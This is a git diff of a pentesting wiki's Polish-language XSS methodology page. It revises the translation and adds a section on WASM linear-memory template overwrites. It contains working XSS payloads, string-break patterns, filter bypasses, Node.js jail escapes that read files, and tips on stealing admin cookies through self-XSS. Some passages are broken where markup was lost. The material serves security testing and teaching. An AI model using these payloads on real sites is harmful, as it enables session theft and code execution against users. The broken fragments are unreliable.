diff --git a/src/SUMMARY.md b/src/SUMMARY.md
index be4d4275a..4c7d77d24 100644
--- a/src/SUMMARY.md
+++ b/src/SUMMARY.md
@@ -725,6 +725,7 @@
- [SOME - Same Origin Method Execution](pentesting-web/xss-cross-site-scripting/some-same-origin-method-execution.md)
- [Sniff Leak](pentesting-web/xss-cross-site-scripting/sniff-leak.md)
- [Steal Info JS](pentesting-web/xss-cross-site-scripting/steal-info-js.md)
+ - [Wasm Linear Memory Template Overwrite Xss](pentesting-web/xss-cross-site-scripting/wasm-linear-memory-template-overwrite-xss.md)
- [XSS in Markdown](pentesting-web/xss-cross-site-scripting/xss-in-markdown.md)
- [XSSI (Cross-Site Script Inclusion)](pentesting-web/xssi-cross-site-script-inclusion.md)
- [XS-Search/XS-Leaks](pentesting-web/xs-search/README.md)
diff --git a/src/pentesting-web/xss-cross-site-scripting/README.md b/src/pentesting-web/xss-cross-site-scripting/README.md
index 1b16d6e35..fd8035c19 100644
--- a/src/pentesting-web/xss-cross-site-scripting/README.md
+++ b/src/pentesting-web/xss-cross-site-scripting/README.md
@@ -2,34 +2,35 @@
{{#include ../../banners/hacktricks-training.md}}
-## Metodologia
+## Methodology
-1. Sprawdź, czy **jakakolwiek wartość przez Ciebie kontrolowana** (_parameters_, _path_, _headers_?, _cookies_?) jest **reflektowana** w HTML lub **używana** przez **JS**.
-2. **Znajdź kontekst**, w którym jest reflektowana/używana.
-3. Jeśli **reflektowana**
-1. Sprawdź, **jakie symbole możesz użyć** i w zależności od tego przygotuj payload:
-1. W **surowym HTML**:
-1. Czy możesz tworzyć nowe tagi HTML?
-2. Czy możesz użyć eventów lub atrybutów wspierających protokół `javascript:`?
+1. Sprawdź, czy **jakakolwiek wartość, którą kontrolujesz** (_parameters_, _path_, _headers_?, _cookies_?) jest **odbijana** w HTML lub **używana** przez kod **JS**.
+2. **Znajdź kontekst**, w którym jest odbijana/używana.
+3. Jeśli **odbita**
+1. Sprawdź, **które symbole możesz użyć** i w zależności od tego przygotuj payload:
+1. W **raw HTML**:
+1. Czy możesz stworzyć nowe tagi HTML?
+2. Czy możesz użyć eventów lub atrybutów obsługujących protokół `javascript:`?
3. Czy możesz obejść zabezpieczenia?
-4. Czy zawartość HTML jest interpretowana przez jakiś klientowy silnik JS (_AngularJS_, _VueJS_, _Mavo_...), który możesz wykorzystać poprzez [Client Side Template Injection](../client-side-template-injection-csti.md).
-5. Jeśli nie możesz stworzyć tagów HTML wykonujących JS, czy możesz wykorzystać [Dangling Markup - HTML scriptless injection](../dangling-markup-html-scriptless-injection/index.html)?
+4. Czy zawartość HTML jest interpretowana przez jakiś client side JS engine (_AngularJS_, _VueJS_, _Mavo_...), możesz wykorzystać [**Client Side Template Injection**](../client-side-template-injection-csti.md).
+5. Jeśli nie możesz tworzyć tagów HTML wykonujących JS, czy możesz wykorzystać [**Dangling Markup - HTML scriptless injection**](../dangling-markup-html-scriptless-injection/index.html)?
2. Wewnątrz **tagu HTML**:
-1. Czy możesz wyjść do surowego kontekstu HTML?
-2. Czy możesz stworzyć nowe eventy/atrybuty wykonujące JS?
-3. Czy atrybut, w którym jesteś uwięziony, wspiera wykonanie JS?
+1. Czy możesz wyjść do raw HTML context?
+2. Czy możesz stworzyć nowe eventy/atrybuty wykonujące kod JS?
+3. Czy atrybut, w którym jesteś uwięziony, obsługuje wykonanie JS?
4. Czy możesz obejść zabezpieczenia?
3. Wewnątrz **kodu JavaScript**:
1. Czy możesz uciec z tagu ``** tagami strony HTML, wewnątrz pliku `.js` lub w atrybucie używającym protokołu **`javascript:`**:
+W tym przypadku Twoje dane wejściowe są odzwierciedlane między **``** tagami strony HTML, wewnątrz pliku `.js` lub wewnątrz atrybutu używającego protokołu **`javascript:`**:
-- Jeśli jest odzwierciedlane pomiędzy **``** tagami, nawet jeśli Twoje dane są wewnątrz jakiegokolwiek rodzaju cudzysłowów, możesz spróbować wstrzyknąć `` i uciec z tego kontekstu. Działa to, ponieważ **przeglądarka najpierw sparsuje tagi HTML**, a dopiero potem ich zawartość, w związku z czym nie zauważy, że wstrzyknięty `` znajduje się w kodzie HTML.
-- Jeśli jest odzwierciedlane **inside a JS string** i poprzedni trik nie działa, będziesz musiał **opuścić** string, **wykonać** swój kod i **odtworzyć** kod JS (jeśli wystąpi jakikolwiek błąd, nie zostanie on wykonany):
+- Jeśli jest odzwierciedlany między **``** tagami, nawet jeśli Twoje dane wejściowe są wewnątrz jakichkolwiek cudzysłowów, możesz spróbować wstrzyknąć `` i wydostać się z tego kontekstu. Działa to, ponieważ **przeglądarka najpierw sparsuje tagi HTML** i dopiero potem zawartość, więc nie zauważy, że wstrzyknięty tag `` znajduje się wewnątrz kodu HTML.
+- Jeśli jest odzwierciedlany **wewnątrz a JS string** i poprzedni trik nie działa, musisz **wyjść** ze stringa, **wykonać** swój kod i **odtworzyć** kod JS (jeśli jest jakikolwiek błąd, nie zostanie on wykonany:
- `'-alert(1)-'`
- `';-alert(1)//`
- `\';alert(1)//`
-- Jeśli jest odzwierciedlane wewnątrz template literals możesz **embed JS expressions** używając składni `${ ... }`: `` var greetings = `Hello, ${alert(1)}` ``
-- **Kodowanie Unicode** umożliwia zapisanie **prawidłowego kodu JavaScript**:
+- Jeśli jest odzwierciedlany wewnątrz template literals możesz **osadzić wyrażenia JS** używając składni `${ ... }`: `` var greetings = `Hello, ${alert(1)}` ``
+- **Unicode encode** works to write **valid javascript code**:
```javascript
alert(1)
alert(1)
@@ -85,8 +86,8 @@ alert(1)
```
#### Javascript Hoisting
-Javascript Hoisting odnosi się do możliwości **zadeklarowania funkcji, zmiennych lub klas po ich użyciu, co pozwala nadużywać scenariuszy, w których XSS używa niezadeklarowanych zmiennych lub funkcji.**\
-**Sprawdź następującą stronę po więcej informacji:**
+Javascript Hoisting odnosi się do możliwości **zadeklarowania funkcji, zmiennych lub klas po ich użyciu, aby nadużyć scenariuszy, w których XSS używa niezadeklarowanych zmiennych lub funkcji.**\
+**Sprawdź następującą stronę, aby uzyskać więcej informacji:**
{{#ref}}
@@ -97,17 +98,17 @@ js-hoisting.md
Wiele stron ma endpointy, które **przyjmują jako parametr nazwę funkcji do wykonania**. Częstym przykładem spotykanym w praktyce jest coś w stylu: `?callback=callbackFunc`.
-Dobrym sposobem, aby sprawdzić, czy coś przekazanego bezpośrednio przez użytkownika jest próbowane wykonać, jest **zmodyfikowanie wartości parametru** (na przykład na 'Vulnerable') i sprawdzenie w konsoli błędów takich jak:
+Dobrym sposobem, by sprawdzić czy coś podanego bezpośrednio przez użytkownika jest próbowane do wykonania, jest **zmodyfikować wartość parametru** (na przykład na 'Vulnerable') i sprawdzić w konsoli błędy takie jak:
.png>)
-Jeśli jest podatne, możesz być w stanie **wywołać alert** po prostu wysyłając wartość: **`?callback=alert(1)`**. Jednak często takie endpointy **weryfikują zawartość**, aby pozwolić tylko na litery, cyfry, kropki i podkreślenia (**`[\w\._]`**).
+Jeśli jest podatne, możesz być w stanie **wywołać alert** po prostu wysyłając wartość: **`?callback=alert(1)`**. Jednak bardzo często takie endpointy **walidują zawartość**, aby pozwolić tylko na litery, cyfry, kropki i podkreślenia (**`[\w\._]`**).
-Nawet z tym ograniczeniem nadal można wykonać pewne akcje. Dzieje się tak, ponieważ możesz użyć dozwolonych znaków, aby **uzyskać dostęp do dowolnego elementu w DOM**:
+Jednak nawet przy tym ograniczeniu nadal można wykonać pewne operacje. Wynika to z faktu, że można użyć tych dozwolonych znaków, aby **uzyskać dostęp do dowolnego elementu w DOM**:
.png>)
-Przydatne funkcje do tego:
+Kilka przydatnych funkcji do tego:
```
firstElementChild
lastElementChild
@@ -115,11 +116,11 @@ nextElementSibiling
lastElementSibiling
parentElement
```
-Możesz też spróbować **trigger Javascript functions** bezpośrednio: `obj.sales.delOrders`.
+Możesz również spróbować **wywołać Javascript functions** bezpośrednio: `obj.sales.delOrders`.
-Jednak zazwyczaj endpoints wykonujące wskazaną funkcję to endpoints bez zbyt interesującego DOM, **other pages in the same origin** będą miały **more interesting DOM** do wykonania większej liczby akcji.
+Jednak zwykle endpointy wykonujące wskazaną funkcję to endpointy bez zbytnio interesującego DOM, **inne strony w tym samym originie** będą miały **bardziej interesujący DOM** do wykonania dodatkowych akcji.
-W związku z tym, aby **abuse this vulnerability in a different DOM** opracowano exploitację **Same Origin Method Execution (SOME)**:
+W związku z tym, aby **wykorzystać tę podatność w innym DOM** opracowano exploitację **Same Origin Method Execution (SOME)**:
{{#ref}}
@@ -128,7 +129,7 @@ some-same-origin-method-execution.md
### DOM
-Istnieje **JS code**, który w niebezpieczny sposób używa pewnych **danych kontrolowanych przez atakującego**, takich jak `location.href`. Atakujący może to wykorzystać do wykonania dowolnego kodu JS.
+Istnieje **JS code**, który w **niebezpieczny sposób** używa danych **kontrolowanych przez atakującego**, takich jak `location.href`. Atakujący może to wykorzystać do wykonania dowolnego kodu JS.
{{#ref}}
@@ -137,8 +138,8 @@ dom-xss.md
### **Universal XSS**
-Ten rodzaj XSS może występować **anywhere**. Nie zależą one tylko od eksploatacji po stronie klienta aplikacji webowej, lecz od **any** **context**. Ten rodzaj **arbitrary JavaScript execution** może być nawet wykorzystany do uzyskania **RCE**, **read** **arbitrary** **files** na klientach i serwerach, i więcej.\
-Some **examples**:
+Tego typu XSS można znaleźć **wszędzie**. Nie zależą one wyłącznie od eksploatacji po stronie klienta aplikacji webowej, lecz od **dowolnego** **kontekstu**. Tego typu **dowolne wykonanie JavaScript** może być nawet wykorzystane do uzyskania **RCE**, **odczytu** **dowolnych** **plików** na klientach i serwerach i innych.\
+Niektóre **przykłady**:
{{#ref}}
@@ -150,17 +151,17 @@ server-side-xss-dynamic-pdf.md
../../network-services-pentesting/pentesting-web/electron-desktop-apps/
{{#endref}}
-## WAF bypass encoding image
+## Obraz kodowania omijającego WAF
.jpg>)
-## Injecting inside raw HTML
+## Wstrzykiwanie do surowego HTML
-Gdy Twój input jest odzwierciedlany **inside the HTML page** lub możesz w tym kontekście uciec i wstrzyknąć kod HTML, **pierwsza** rzecz, którą musisz zrobić, to sprawdzić, czy możesz nadużyć `<`, aby stworzyć nowe tagi: Po prostu spróbuj **reflect** tego **char** i sprawdź, czy jest **HTML encoded** lub **deleted** albo czy jest **reflected without changes**. **Tylko w ostatnim przypadku będziesz mógł to wykorzystać**.\
-W takich przypadkach także **pamiętaj** [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\
-_**Note: A HTML comment can be closed using\*\***\***\*`-->`\*\***\***\*or \*\***`--!>`\*\***\***\*_
+Kiedy twoje dane wejściowe są odzwierciedlane **wewnątrz strony HTML** lub możesz uciec i wstrzykiwać kod HTML w tym kontekście, pierwszą rzeczą, którą musisz zrobić, jest sprawdzenie, czy możesz wykorzystać `<` do tworzenia nowych tagów: Po prostu spróbuj **odzwierciedlić** ten **znak** i sprawdź, czy jest **zakodowany jako HTML**, **usuwany** czy **odzwierciedlony bez zmian**. **Tylko w tym ostatnim przypadku będziesz mógł to wykorzystać**.\
+W takich przypadkach miej też na uwadze [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\
+_**Uwaga: Komentarz HTML można zamknąć używając\*\***\***\*`-->`\*\***\***\*lub \*\***`--!>`\*\*_
-W tym przypadku i jeśli nie są stosowane żadne black/whitelisting, możesz użyć payloadów takich jak:
+W tym przypadku i jeśli nie stosuje się black/whitelisting, możesz użyć payloadów takich jak:
```html
`, albo w eventach HTML, które mogą wykonać kod JS, lub w atrybutach akceptujących protokół `javascript:`.
+W takich przypadkach twój **input** zostanie **odzwierciedlony wewnątrz kodu JS** pliku `.js` lub pomiędzy tagami ``, albo w eventach HTML które mogą wykonać kod JS lub w atrybutach akceptujących protokół `javascript:`.
-### Escaping \`, możesz w prosty sposób **uciec, zamykając tag `` możesz łatwo **uciec z zamknięcia `
```
-Zauważ, że w tym przykładzie **nawet nie zamknęliśmy pojedynczego apostrofu**. Dzieje się tak, ponieważ **parsowanie HTML jest wykonywane najpierw przez przeglądarkę**, które obejmuje identyfikację elementów strony, w tym bloków script. Parsowanie JavaScriptu w celu zrozumienia i wykonania osadzonych skryptów jest wykonywane dopiero później.
+Zauważ, że w tym przykładzie **nawet nie zamknęliśmy pojedynczego apostrofu**. Dzieje się tak, ponieważ **parsowanie HTML jest wykonywane najpierw przez przeglądarkę**, co obejmuje identyfikację elementów strony, w tym bloków script. Parsowanie JavaScriptu w celu zrozumienia i wykonania osadzonych skryptów odbywa się dopiero później.
-### Wewnątrz kodu JS
+### W kodzie JS
-Jeśli `<>` są sanitizowane, nadal możesz **uciec z łańcucha** w miejscu, gdzie twoje dane wejściowe są **osadzone**, i **wykonać dowolny JS**. Ważne jest, aby **poprawić składnię JS**, ponieważ jeśli wystąpią błędy, kod JS nie zostanie wykonany:
+Jeśli `<>` są sanitizowane, nadal możesz **uciec z ciągu znaków** w miejscu, gdzie twoje wejście jest **osadzone**, i **wykonać dowolny kod JS**. Ważne jest, aby **poprawić składnię JS**, ponieważ jeśli pojawią się jakiekolwiek błędy, kod JS nie zostanie wykonany:
```
'-alert(document.domain)-'
';alert(document.domain)//
@@ -496,25 +497,25 @@ Jeśli `<>` są sanitizowane, nadal możesz **uciec z łańcucha** w miejscu, gd
```
#### JS-in-JS string break → inject → repair pattern
-Kiedy dane wejściowe użytkownika trafiają wewnątrz cytowanego łańcucha JavaScript (e.g., server-side echo into an inline script), możesz zakończyć łańcuch, wstrzyknąć kod i naprawić składnię, aby dalsze parsowanie było poprawne. Ogólny szkielet:
+Gdy dane wejściowe użytkownika trafiają do cytowanego JavaScript string (e.g., server-side echo into an inline script), możesz zakończyć string, wstrzyknąć kod i naprawić składnię, aby parsowanie pozostało poprawne. Ogólny szkielet:
```
" // end original string
; // safely terminate the statement
// attacker-controlled JS
; a = " // repair and resume expected string/statement
```
-Przykładowy wzorzec URL, gdy podatny parametr jest odzwierciedlany w stringu JS:
+Przykładowy wzorzec URL, gdy podatny parametr jest odzwierciedlany w łańcuchu JS:
```
?param=test";;a="
```
-To wykonuje złośliwy kod JS bez potrzeby modyfikowania kontekstu HTML (pure JS-in-JS). Połącz z blacklist bypasses poniżej, gdy filtry blokują słowa kluczowe.
+To wykonuje attacker JS bez potrzeby modyfikowania kontekstu HTML (czysty JS-in-JS). Połącz z blacklist bypasses poniżej, gdy filtry blokują słowa kluczowe.
-### Literały szablonowe ``
+### Template literals ``
-Aby konstruować **strings**, oprócz pojedynczych i podwójnych cudzysłowów, JS akceptuje także **backticks** **` `` `**. Są one znane jako template literals, ponieważ pozwalają na **embedded JS expressions** używając składni `${ ... }`.\
-Jeśli więc okaże się, że Twój input jest **reflected** wewnątrz JS string używającego backticks, możesz wykorzystać składnię `${ ... }`, aby wykonać **arbitrary JS code**:
+Aby konstruować **strings**, oprócz pojedynczych i podwójnych cudzysłowów JS akceptuje także **backticks** **` `` `**. Jest to znane jako template literals, ponieważ pozwalają na **embedded JS expressions** używając składni `${ ... }`.\
+Jeśli więc twoje dane wejściowe są **reflected** wewnątrz JS stringa używającego backticks, możesz nadużyć składni `${ ... }`, aby wykonać **arbitrary JS code**:
-Można to **wykorzystać** używając:
+This can be **abused** using:
```javascript
;`${alert(1)}``${`${`${`${alert(1)}`}`}`}`
```
@@ -526,29 +527,29 @@ return loop
}
loop``
```
-### Encoded code execution
+### Zakodowane wykonywanie kodu
```html
This is a 1 line comment, but "-->" must to be at the beggining of the first line
```
-**JavaScript new lines (z** [**JavaScript new line**](#javascript-new-lines) **trick)**
+**JavaScript new lines (z** [**JavaScript new line**](#javascript-new-lines) **triku)**
```javascript
//Javascript interpret as new line these chars:
String.fromCharCode(10)
@@ -612,7 +613,7 @@ alert("//\u2028alert(1)") //0xe2 0x80 0xa8
String.fromCharCode(8233)
alert("//\u2029alert(1)") //0xe2 0x80 0xa9
```
-**Białe znaki w JavaScript**
+**Białe znaki JavaScript**
```javascript
log=[];
function funct(){}
@@ -777,8 +778,8 @@ top[8680439..toString(30)](1)
```
## **DOM vulnerabilities**
-There is **JS code** that is using **danych kontrolowanych przez atakującego w niebezpieczny sposób** like `location.href` . An attacker, could abuse this to execute arbitrary JS code.\
-**Z powodu rozbudowania wyjaśnienia** [**DOM vulnerabilities it was moved to this page**](dom-xss.md)**:**
+There is **JS code** that is using **unsafely data controlled by an attacker** like `location.href` . An attacker, could abuse this to execute arbitrary JS code.\
+**Z uwagi na rozszerzenie wyjaśnienia** [**DOM vulnerabilities zostały przeniesione na tę stronę**](dom-xss.md)**:**
{{#ref}}
@@ -786,36 +787,47 @@ dom-xss.md
{{#endref}}
Znajdziesz tam szczegółowe **wyjaśnienie czym są DOM vulnerabilities, jak są wywoływane i jak je eksploatować**.\
-Nie zapomnij też, że **na końcu wspomnianego wpisu** znajdziesz wyjaśnienie dotyczące [**DOM Clobbering attacks**](dom-xss.md#dom-clobbering).
+Also, don't forget that **at the end of the mentioned post** you can find an explanation about [**DOM Clobbering attacks**](dom-xss.md#dom-clobbering).
### Upgrading Self-XSS
### Cookie XSS
-If you can trigger a XSS by sending the payload inside a cookie, this is usually a self-XSS. However, if you find a **vulnerable subdomain to XSS**, you could abuse this XSS to inject a cookie in the whole domain managing to trigger the cookie XSS in the main domain or other subdomains (the ones vulnerable to cookie XSS). For this you can use the cookie tossing attack:
+If you can trigger a XSS by sending the payload inside a cookie, this is usually a self-XSS. However, if you find a **podatną subdomenę na XSS**, you could abuse this XSS to inject a cookie in the whole domain managing to trigger the cookie XSS in the main domain or other subdomains (the ones vulnerable to cookie XSS). For this you can use the cookie tossing attack:
{{#ref}}
../hacking-with-cookies/cookie-tossing.md
{{#endref}}
-You can find a great abuse of this technique in [**this blog post**](https://nokline.github.io/bugbounty/2024/06/07/Zoom-ATO.html).
+You can find a great abuse of this technique in [**tym wpisie na blogu**](https://nokline.github.io/bugbounty/2024/06/07/Zoom-ATO.html).
-### Wysłanie swojej sesji do administratora
+### Sending your session to the admin
-Może użytkownik udostępnić swój profil administratorowi, a jeśli self XSS znajduje się w profilu użytkownika i administrator go otworzy, uruchomi podatność.
+Może użytkownik udostępnić swój profil adminowi i jeśli self XSS znajduje się w profilu użytkownika, a admin go otworzy, uruchomi podatność.
### Session Mirroring
-Jeśli znajdziesz self XSS, a strona ma **session mirroring for administrators**, na przykład umożliwiające klientom prośbę o pomoc i w celu udzielenia pomocy administrator widzi to, co widzisz w swojej sesji, ale z jego sesji.
+If you find some self XSS and the web page have a **session mirroring for administrators**, for example allowing clients to ask for help an in order for the admin to help you he will be seeing what you are seeing in your session but from his session.
-Możesz sprawić, że **administrator uruchomi Twój self XSS** i ukraść jego cookies/sesję.
+You could make the **administrator trigger your self XSS** and steal his cookies/session.
## Other Bypasses
+### Bypassing sanitization via WASM linear-memory template overwrite
+
+When a web app uses Emscripten/WASM, constant strings (like HTML format stubs) live in writable linear memory. A single in‑WASM overflow (e.g., unchecked memcpy in an edit path) can corrupt adjacent structures and redirect writes to those constants. Overwriting a template such as "
%.*s
" to "" turns sanitized input into a JavaScript handler value and yields immediate DOM XSS on render.
+
+Check the dedicated page with exploitation workflow, DevTools memory helpers, and defenses:
+
+{{#ref}}
+wasm-linear-memory-template-overwrite-xss.md
+{{#endref}}
+
+
### Normalised Unicode
-Możesz sprawdzić, czy **reflected values** są **unicode normalized** po stronie serwera (lub po stronie klienta) i wykorzystać tę funkcjonalność do obejścia zabezpieczeń. [**Find an example here**](../unicode-injection/index.html#xss-cross-site-scripting).
+You could check is the **reflected values** are being **unicode normalized** in the server (or in the client side) and abuse this functionality to bypass protections. [**Find an example here**](../unicode-injection/index.html#xss-cross-site-scripting).
### PHP FILTER_VALIDATE_EMAIL flag Bypass
```javascript
@@ -823,16 +835,16 @@ Możesz sprawdzić, czy **reflected values** są **unicode normalized** po stron
```
### Ruby-On-Rails bypass
-Z powodu **RoR mass assignment** cudzysłowy są wstawiane do HTML, a ograniczenie dotyczące cudzysłowów zostaje ominięte i dodatkowe pola (onfocus) mogą zostać dodane wewnątrz tagu.\
+Z powodu **RoR mass assignment** w HTML wstawiane są cudzysłowy, przez co ograniczenie cudzysłowów jest obchodzone i dodatkowe pola (onfocus) mogą zostać dodane wewnątrz tagu.\
Przykład formularza ([from this report](https://hackerone.com/reports/709336)), jeśli wyślesz payload:
```
contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
```
-Para "Key","Value" zostanie wyświetlona w następujący sposób:
+Para "Key","Value" zostanie zwrócona w następujący sposób:
```
{" onfocus=javascript:alert('xss') autofocus a"=>"a"}
```
-Wówczas atrybut onfocus zostanie wstawiony i nastąpi XSS.
+Wtedy zostanie wstawiony atrybut onfocus i nastąpi XSS.
### Specjalne kombinacje
```html
@@ -864,20 +876,20 @@ Wówczas atrybut onfocus zostanie wstawiony i nastąpi XSS.
window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2)
document['default'+'View'][`\u0061lert`](3)
```
-### XSS z wstrzyknięciem nagłówka w odpowiedzi 302
+### XSS with header injection in a 302 response
-Jeśli odkryjesz, że możesz **inject headers in a 302 Redirect response** możesz spróbować **make the browser execute arbitrary JavaScript**. To **nie jest trywialne**, ponieważ nowoczesne przeglądarki nie interpretują ciała odpowiedzi HTTP, jeśli kod statusu odpowiedzi to 302, więc samo cross-site scripting payload jest bezużyteczne.
+Jeśli odkryjesz, że możesz **inject headers in a 302 Redirect response** możesz spróbować **make the browser execute arbitrary JavaScript**. To **nie jest trywialne**, ponieważ nowoczesne przeglądarki nie interpretują ciała odpowiedzi HTTP gdy status code odpowiedzi HTTP to 302, więc sam cross-site scripting payload jest bezużyteczny.
-W [**this report**](https://www.gremwell.com/firefox-xss-302) i w [**this one**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) możesz przeczytać, jak przetestować kilka protokołów wewnątrz Location header i sprawdzić, czy któryś z nich pozwala przeglądarce na przejrzenie i wykonanie XSS payload wewnątrz ciała odpowiedzi.\
+W [**this report**](https://www.gremwell.com/firefox-xss-302) i [**this one**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) możesz przeczytać, jak testować różne protokoły w Location header i sprawdzić, czy któryś z nich pozwala przeglądarce na zbadanie i wykonanie XSS payload wewnątrz body.\
Past known protocols: `mailto://`, `//x:1/`, `ws://`, `wss://`, _empty Location header_, `resource://`.
### Tylko litery, cyfry i kropki
-Jeśli możesz wskazać **callback**, który javascript ma **wykonać**, ograniczony do tych znaków. [**Read this section of this post**](#javascript-function) aby dowiedzieć się, jak nadużyć tego zachowania.
+Jeśli możesz wskazać **callback**, który javascript ma zamiar **execute**, ograniczony do tych znaków. [**Read this section of this post**](#javascript-function) aby dowiedzieć się, jak abuse tego zachowania.
-### Valid `
```
Odpowiedź to:
-- **module** (domyślny, nic do wyjaśnienia)
-- [**webbundle**](https://web.dev/web-bundles/): Web Bundles to funkcja, która pozwala zapakować wiele danych (HTML, CSS, JS…) w jeden plik **`.wbn`**.
+- **module** (domyślnie, nic do wyjaśnienia)
+- [**webbundle**](https://web.dev/web-bundles/): Web Bundles to funkcja, która pozwala spakować różne dane (HTML, CSS, JS…) w plik **`.wbn`**.
```html
The resources are loaded from the source .wbn, not accessed via HTTP
```
-- [**importmap**](https://github.com/WICG/import-maps)**:** Pozwala ulepszyć składnię importu
+- [**importmap**](https://github.com/WICG/import-maps)**:** Pozwala ulepszyć składnię importów
```html
```
-To zachowanie zostało użyte w [**this writeup**](https://github.com/zwade/yaca/tree/master/solution) aby przypisać bibliotekę do eval; nadużycie tego może wywołać XSS.
+To zachowanie zostało użyte w [**this writeup**](https://github.com/zwade/yaca/tree/master/solution) do remapowania biblioteki na eval — jego nadużycie może wywołać XSS.
-- [**speculationrules**](https://github.com/WICG/nav-speculation)**:** Ta funkcja ma na celu przede wszystkim rozwiązanie niektórych problemów spowodowanych wstępnym renderowaniem. Działa w następujący sposób:
+- [**speculationrules**](https://github.com/WICG/nav-speculation)**:** Ta funkcja ma głównie rozwiązywać pewne problemy spowodowane przez pre-rendering. Działa w ten sposób:
```html
```
-### Web Content-Types umożliwiające XSS
+### Web Content-Types powodujące XSS
-(From [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Następujące content types mogą wykonać XSS we wszystkich przeglądarkach:
+(From [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Następujące content types mogą wykonywać XSS we wszystkich przeglądarkach:
- text/html
- application/xhtml+xml
- application/xml
- text/xml
- image/svg+xml
-- text/plain (?? not in the list but I think I saw this in a CTF)
-- application/rss+xml (off)
-- application/atom+xml (off)
+- text/plain (?? nie na liście, ale chyba widziałem to w CTF)
+- application/rss+xml (wyłączone)
+- application/atom+xml (wyłączone)
-W innych przeglądarkach inne **`Content-Types`** mogą być użyte do wykonania dowolnego JS, sprawdź: [https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md)
+W innych przeglądarkach inne **`Content-Types`** mogą być użyte do wykonania dowolnego JS, zobacz: [https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md)
### xml Content Type
-Jeśli strona zwraca content-type text/xml, możliwe jest wskazanie namespace i wykonanie dowolnego JS:
+Jeśli strona zwraca text/xml content-type, możliwe jest określenie namespace i wykonanie dowolnego JS:
```xml
hello
@@ -982,11 +994,11 @@ Jeśli strona zwraca content-type text/xml, możliwe jest wskazanie namespace i
```
-### Specjalne wzorce zastępowania
+### Specjalne wzorce zamiany
-Gdy używane jest coś takiego jak **`"some {{template}} data".replace("{{template}}", )`**, atakujący może użyć [**special string replacements**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#specifying_a_string_as_the_replacement) żeby spróbować obejść niektóre zabezpieczenia: `` "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"})) ``
+Kiedy używa się czegoś takiego jak **`"some {{template}} data".replace("{{template}}", )`**. Atakujący może użyć [**special string replacements**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#specifying_a_string_as_the_replacement) żeby spróbować obejść niektóre zabezpieczenia: `` "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"})) ``
-Na przykład w [**this writeup**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA), użyto tego do ucieczki z ograniczeń ciągu JSON umieszczonego wewnątrz skryptu i wykonania dowolnego kodu.
+Na przykład w [**this writeup**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA) użyto tego, aby escape'ować ciąg JSON wewnątrz skryptu i wykonać arbitralny kod.
### Chrome Cache to XSS
@@ -997,7 +1009,7 @@ chrome-cache-to-xss.md
### XS Jails Escape
-Jeśli masz do dyspozycji tylko ograniczony zestaw znaków, sprawdź te inne poprawne rozwiązania dla problemów XSJail:
+Jeśli masz do dyspozycji tylko ograniczony zestaw chars, sprawdź te inne poprawne rozwiązania problemów z XSJail:
```javascript
// eval + unescape + regex
eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))()
@@ -1028,22 +1040,22 @@ constructor(source)()
// For more uses of with go to challenge misc/CaaSio PSE in
// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE
```
-Jeśli **wszystko jest undefined** przed wykonaniem niezaufanego kodu (jak w [**this writeup**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/index.html#miscx2fundefined55-solves)), możliwe jest wygenerowanie przydatnych obiektów "z niczego", aby wykorzystać wykonanie dowolnego niezaufanego kodu:
+Jeśli **wszystko jest undefined** przed wykonaniem niezaufanego kodu (jak w [**this writeup**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/index.html#miscx2fundefined55-solves)), możliwe jest wygenerowanie użytecznych obiektów "z niczego" w celu wykorzystania wykonywania dowolnego niezaufanego kodu:
- Używając import()
```javascript
// although import "fs" doesn’t work, import('fs') does.
import("fs").then((m) => console.log(m.readFileSync("/flag.txt", "utf8")))
```
-- Pośredni dostęp do `require`
+- Dostęp do `require` pośrednio
-[According to this](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) moduły są opakowywane przez Node.js w funkcję, w następujący sposób:
+[According to this](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) moduły są przez Node.js opakowywane wewnątrz funkcji, w ten sposób:
```javascript
;(function (exports, require, module, __filename, __dirname) {
// our actual module code
})
```
-Dlatego, jeśli z tego modułu możemy **wywołać inną funkcję**, możliwe jest użycie `arguments.callee.caller.arguments[1]` z tej funkcji, aby uzyskać dostęp do **`require`**:
+Zatem, jeśli z tego modułu możemy **wywołać inną funkcję**, możliwe jest użycie `arguments.callee.caller.arguments[1]` z tej funkcji, aby uzyskać dostęp do **`require`**:
```javascript
;(function () {
return arguments.callee.caller.arguments[1]("fs").readFileSync(
@@ -1052,7 +1064,7 @@ return arguments.callee.caller.arguments[1]("fs").readFileSync(
)
})()
```
-Podobnie jak w poprzednim przykładzie, można **use error handlers** w celu uzyskania dostępu do **wrapper** modułu i zdobycia funkcji **`require`**:
+W podobny sposób jak w poprzednim przykładzie, można **użyć obsługi błędów**, aby uzyskać dostęp do **wrappera** modułu i otrzymać funkcję **`require`**:
```javascript
try {
null.f()
@@ -1271,9 +1283,9 @@ o゚ー゚o = (゚ω゚ノ + "_")[c ^ _ ^ o]
```javascript
// It's also possible to execute JS code only with the chars: []`+!${}
```
-## XSS common payloads
+## XSS częste payloads
